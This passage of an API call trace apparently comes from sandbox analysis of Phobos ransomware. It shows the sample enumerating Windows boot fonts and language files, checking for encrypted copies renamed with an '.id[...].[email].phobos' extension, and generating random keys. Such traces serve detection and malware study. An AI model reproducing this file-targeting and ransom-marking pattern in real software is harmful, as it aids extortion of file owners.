(lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.241] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.241] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.241] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.242] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=177414) returned 1 [0132.242] CloseHandle (hObject=0x2b4) returned 1 [0132.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20 [0132.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.242] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.242] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.242] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.243] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=143754) returned 1 [0132.243] CloseHandle (hObject=0x2b4) returned 1 [0132.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20 [0132.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.243] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.244] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.244] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.244] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=145419) returned 1 [0132.244] CloseHandle (hObject=0x2b4) returned 1 [0132.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20 [0132.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.245] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.245] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.245] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.245] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=162331) returned 1 [0132.245] CloseHandle (hObject=0x2b4) returned 1 [0132.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0132.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.245] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.245] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.245] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.245] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=164347) returned 1 [0132.246] CloseHandle (hObject=0x2b4) returned 1 [0132.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20 [0132.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.246] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.246] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.246] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.246] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=154427) returned 1 [0132.246] CloseHandle (hObject=0x2b4) returned 1 [0132.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0132.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.246] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.246] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.246] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.247] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=156245) returned 1 [0132.247] CloseHandle (hObject=0x2b4) returned 1 [0132.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20 [0132.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.247] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.247] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.247] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.247] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=44859) returned 1 [0132.247] CloseHandle (hObject=0x2b4) returned 1 [0132.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20 [0132.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.247] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.247] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.248] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.248] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=85862) returned 1 [0132.248] CloseHandle (hObject=0x2b4) returned 1 [0132.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20 [0132.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.248] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.248] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.248] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.248] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=86178) returned 1 [0132.248] CloseHandle (hObject=0x2b4) returned 1 [0132.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20 [0132.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.248] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.249] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.249] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.249] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=49091) returned 1 [0132.249] CloseHandle (hObject=0x2b4) returned 1 [0132.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0132.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.249] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.249] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.249] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.249] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=79200) returned 1 [0132.249] CloseHandle (hObject=0x2b4) returned 1 [0132.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20 [0132.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.249] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.250] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.250] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.250] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=79192) returned 1 [0132.250] CloseHandle (hObject=0x2b4) returned 1 [0132.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0132.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.250] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.250] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.250] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.250] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=45984) returned 1 [0132.250] CloseHandle (hObject=0x2b4) returned 1 [0132.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui")) returned 0x20 [0132.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.251] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.251] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.251] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.251] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=76640) returned 1 [0132.251] CloseHandle (hObject=0x2b4) returned 1 [0132.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui")) returned 0x20 [0132.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.251] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.251] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.251] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.251] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=78688) returned 1 [0132.251] CloseHandle (hObject=0x2b4) returned 1 [0132.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0132.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.252] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.252] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.252] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.252] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=45976) returned 1 [0132.252] CloseHandle (hObject=0x2b4) returned 1 [0132.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui")) returned 0x20 [0132.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.252] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.252] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.252] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.252] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=77144) returned 1 [0132.252] CloseHandle (hObject=0x2b4) returned 1 [0132.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0132.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.253] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.253] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.253] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.253] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=45472) returned 1 [0132.253] CloseHandle (hObject=0x2b4) returned 1 [0132.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui")) returned 0x20 [0132.253] GetFileAttributesW 